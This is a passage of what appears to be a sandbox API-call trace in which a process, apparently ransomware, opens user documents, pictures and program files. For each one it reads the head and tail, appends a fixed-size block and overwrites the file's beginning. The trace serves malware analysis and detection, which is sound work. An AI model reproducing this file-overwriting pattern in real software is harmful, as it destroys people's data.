lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x96a0 [0035.335] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.337] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x96a0 [0035.337] WriteFile (in: hFile=0x184, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.338] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0035.338] WriteFile (in: hFile=0x184, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.338] CloseHandle (hObject=0x184) returned 1 [0035.339] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\pointers.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.339] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.339] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xb731 [0035.339] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.339] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.339] ReleaseMutex (hMutex=0x128) returned 1 [0035.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.339] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x1e6324c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0035.339] ReadFile (in: hFile=0x184, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.342] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xa731 [0035.342] ReadFile (in: hFile=0x184, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.344] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xa731 [0035.344] WriteFile (in: hFile=0x184, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.344] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0035.344] WriteFile (in: hFile=0x184, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.345] CloseHandle (hObject=0x184) returned 1 [0035.345] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\_70TnXBhVpE1DtNBE.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\_70tnxbhvpe1dtnbe.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0035.346] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.346] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x2994 [0035.346] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.346] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.346] ReleaseMutex (hMutex=0x128) returned 1 [0035.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_70TnXBhVpE1DtNBE.pdf", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0035.346] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_70TnXBhVpE1DtNBE.pdf", cchWideChar=21, lpMultiByteStr=0x1e78974, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_70TnXBhVpE1DtNBE.pdf", lpUsedDefaultChar=0x0) returned 21 [0035.346] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.347] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1994 [0035.347] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.347] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x1994 [0035.347] WriteFile (in: hFile=0x184, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.347] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0035.347] WriteFile (in: hFile=0x184, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.347] CloseHandle (hObject=0x184) returned 1 [0035.348] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0035.367] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.367] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1d51 [0035.367] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.367] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.367] ReleaseMutex (hMutex=0x128) returned 1 [0035.367] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Stars.jpg", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0035.368] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Stars.jpg", cchWideChar=9, lpMultiByteStr=0x1e6322c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Stars.jpg", lpUsedDefaultChar=0x0) returned 9 [0035.368] ReadFile (in: hFile=0x1b0, lpBuffer=0x1deae18, nNumberOfBytesToRead=0x1d51, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1deae18*, lpNumberOfBytesRead=0x318f2bc*=0x1d51, lpOverlapped=0x0) returned 1 [0035.658] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0035.659] WriteFile (in: hFile=0x1b0, lpBuffer=0x2770388*, nNumberOfBytesToWrite=0x22d9, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2770388*, lpNumberOfBytesWritten=0x318f2d0*=0x22d9, lpOverlapped=0x0) returned 1 [0035.659] CloseHandle (hObject=0x1b0) returned 1 [0035.660] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NQ9coU\\AOzRwuhQidc.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nq9cou\\aozrwuhqidc.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0035.660] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.660] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xd5cc [0035.660] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.660] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.660] ReleaseMutex (hMutex=0x128) returned 1 [0035.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AOzRwuhQidc.jpg", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0035.661] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AOzRwuhQidc.jpg", cchWideChar=15, lpMultiByteStr=0x1e6314c, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AOzRwuhQidc.jpg", lpUsedDefaultChar=0x0) returned 15 [0035.661] ReadFile (in: hFile=0x1b0, lpBuffer=0x276a328, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x318f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.661] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xc5cc [0035.661] ReadFile (in: hFile=0x1b0, lpBuffer=0x2772388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.662] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xc5cc [0035.662] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.662] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0035.662] WriteFile (in: hFile=0x1b0, lpBuffer=0x276e358*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesWritten=0x318f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.662] CloseHandle (hObject=0x1b0) returned 1 [0035.663] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\ShadesOfBlue.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\shadesofblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0035.664] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.664] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x127e [0035.664] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.664] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.664] ReleaseMutex (hMutex=0x128) returned 1 [0035.664] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ShadesOfBlue.jpg", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0035.664] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ShadesOfBlue.jpg", cchWideChar=16, lpMultiByteStr=0x1e78b7c, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ShadesOfBlue.jpg", lpUsedDefaultChar=0x0) returned 16 [0035.664] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x127e, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x318f2bc*=0x127e, lpOverlapped=0x0) returned 1 [0035.667] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0035.667] WriteFile (in: hFile=0x1b0, lpBuffer=0x27724b8*, nNumberOfBytesToWrite=0x1806, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27724b8*, lpNumberOfBytesWritten=0x318f2d0*=0x1806, lpOverlapped=0x0) returned 1 [0035.667] CloseHandle (hObject=0x1b0) returned 1 [0035.668] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Tulips.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\tulips.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0035.668] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.668] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x97958 [0035.668] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.668] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.668] ReleaseMutex (hMutex=0x128) returned 1 [0035.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tulips.jpg", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Tulips.jpg", cchWideChar=10, lpMultiByteStr=0x1e6312c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Tulips.jpg", lpUsedDefaultChar=0x0) returned 10 [0035.668] ReadFile (in: hFile=0x1b0, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0035.672] ReadFile (in: hFile=0x1b0, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.678] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x96958 [0035.678] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da5ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.681] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x96958 [0035.681] WriteFile (in: hFile=0x1b0, lpBuffer=0x27724b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27724b8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.681] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0035.682] WriteFile (in: hFile=0x1b0, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0035.682] WriteFile (in: hFile=0x1b0, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.682] CloseHandle (hObject=0x1b0) returned 1 [0035.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Resources\\1033\\msmdsrv.rll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\resources\\1033\\msmdsrv.rll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0035.697] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.697] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0xa2b58 [0035.697] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0035.697] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.697] ReleaseMutex (hMutex=0x128) returned 1 [0035.697] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msmdsrv.rll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.697] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msmdsrv.rll", cchWideChar=11, lpMultiByteStr=0x1e6322c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msmdsrv.rll", lpUsedDefaultChar=0x0) returned 11 [0035.697] ReadFile (in: hFile=0x1b0, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0035.700] ReadFile (in: hFile=0x1b0, lpBuffer=0x2720cd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2720cd8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.700] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xa1b58 [0035.701] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da5ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x1da5ed8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.706] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0xa1b58 [0035.707] WriteFile (in: hFile=0x1b0, lpBuffer=0x27724b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27724b8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.707] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0035.707] WriteFile (in: hFile=0x1b0, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0035.708] WriteFile (in: hFile=0x1b0, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0035.708] CloseHandle (hObject=0x1b0) returned 1 [0035.716] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.0\\workflow.targets"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.645] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0036.645] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1276 [0036.645] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0036.645] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.645] ReleaseMutex (hMutex=0x128) returned 1 [0036.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Workflow.Targets", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0036.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Workflow.Targets", cchWideChar=16, lpMultiByteStr=0x1e78974, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Workflow.Targets", lpUsedDefaultChar=0x0) returned 16 [0036.646] ReadFile (in: hFile=0x168, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1276, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x318f2bc*=0x1276, lpOverlapped=0x0) returned 1 [0036.649] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: 